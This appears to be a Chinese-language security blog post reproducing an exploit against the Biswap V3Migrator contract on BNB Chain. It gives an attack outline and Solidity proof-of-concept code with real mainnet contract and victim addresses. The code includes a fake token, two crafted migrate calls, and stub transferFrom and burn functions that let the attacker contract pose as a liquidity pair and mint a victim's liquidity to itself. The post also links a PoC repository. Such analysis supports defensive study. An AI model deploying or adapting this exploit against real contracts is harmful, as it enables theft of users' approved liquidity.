簡要的攻擊流程
- 第一次調用migrate函數,輸入真的pair合約和假的token,mint地址是受害者。
- transferFrom函數將受害者LPtoken發到升級合約中。
- 銷毀LPtoken,獲取兩種代幣。
- 調用mint,鑄造假的LPtoken給受害者。
- 第二次調用migrate函數,輸入偽造的pair合約和真的token,mint地址是自己的地址。
- 調用假的pair合約的transferFrom和burn函數不做任何操作,其中burn函數需要返回轉移合約中兩種代幣的數量。
- 向自己的地址mint真的LP。
具體實現
編寫假的token合約:
contract fakeToken is ERC20 {
constructor() ERC20("fake", "fake") {
_mint(msg.sender, 10e10 ether);
}
}
初始化v3Migrator、bsw-wbnb交易對,manager,biswapFactory合約,創建兩個假token合約:
IV3Migrator public v3Migrator = IV3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
IBiswapPair public pair = IBiswapPair(0x46492B26639Df0cda9b2769429845cb991591E0A);
ILiquidityManager public manager = ILiquidityManager(0x24Ba8d2A15Fe60618039c398Cf9FD093b1C1FEB5);
IBiswapFactoryV3 factory = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
address public victim = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;
address public bsw = 0x965F527D9159dCe6288a2219DB51fc6Eef120dD1;
address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address public fakeToken0 = address(new fakeToken());
address public fakeToken1 = address(new fakeToken());
在創建交易對時會判斷代幣地址的相對大小,所以要先調整一下兩種代幣的順序:
···
if (fakeToken0 > fakeToken1) {
(fakeToken1, fakeToken0) = (fakeToken0, fakeToken1);
}
獲取bsw-wbnb交易對中受害者對轉移合約的授權:
uint256 allowance = pair.allowance(victim, address(v3Migrator));
提前將兩種假token發送到轉移合約:
IERC20(fakeToken0).transfer(address(v3Migrator), 10e10 ether); IERC20(fakeToken1).transfer(address(v3Migrator), 10e10 ether);
創建兩種假token的交易對:
factory.newPool(fakeToken0, fakeToken1, 150 ,1);
第一次調用migrate函數:
IV3Migrator.MigrateParams memory params =
IV3Migrator.MigrateParams(
address(pair),
allowance,
fakeToken0,
fakeToken1,
150,
10000,
20000,
0,
0,
victim,
1688126472,
false
);
v3Migrator.migrate(params);
交易對為真實的bsw-wbnb pair,要轉移的流動性為受害者地址對轉移合約的授權,兩種代幣為假的token,其余參數也與實際攻擊一致。
第二次調用migrate函數:
IV3Migrator.MigrateParams memory params1 =
IV3Migrator.MigrateParams(
address(this),
allowance,
bsw,
wbnb,
150,
10000,
20000,
0,
0,
address(this),
1688126472,
false
);
v3Migrator.migrate(params1);
這時的pair為攻擊合約本身,所以攻擊合約要實現transferFrom和burn函數:
function transferFrom(address from, address to, uint value) external returns (bool){
return true;
}
transferFrom直接返回true即可。
function burn(address to) external returns (uint amount0, uint amount1) {
uint256 bswBalance = IERC20(bsw).balanceOf(address(v3Migrator));
uint256 wbnb1Balance = IERC20(wbnb).balanceOf(address(v3Migrator));
return (bswBalance, wbnb1Balance);
}
burn函數返回兩種真實代幣在轉移合約中的余額。
在第二次調用之后,攻擊合約應該獲取到一個LP和相應數量的兩種的代幣。
測試

代碼
https://github.com/wangbar0133/biswap_poc
一顆小胡椒
GoUpSec
數說安全
中國信息安全
奇安信集團
D1Net
CNCERT國家工程研究中心
D1Net
安全內參
安全圈
嘶吼專業版
信息安全與通信保密雜志社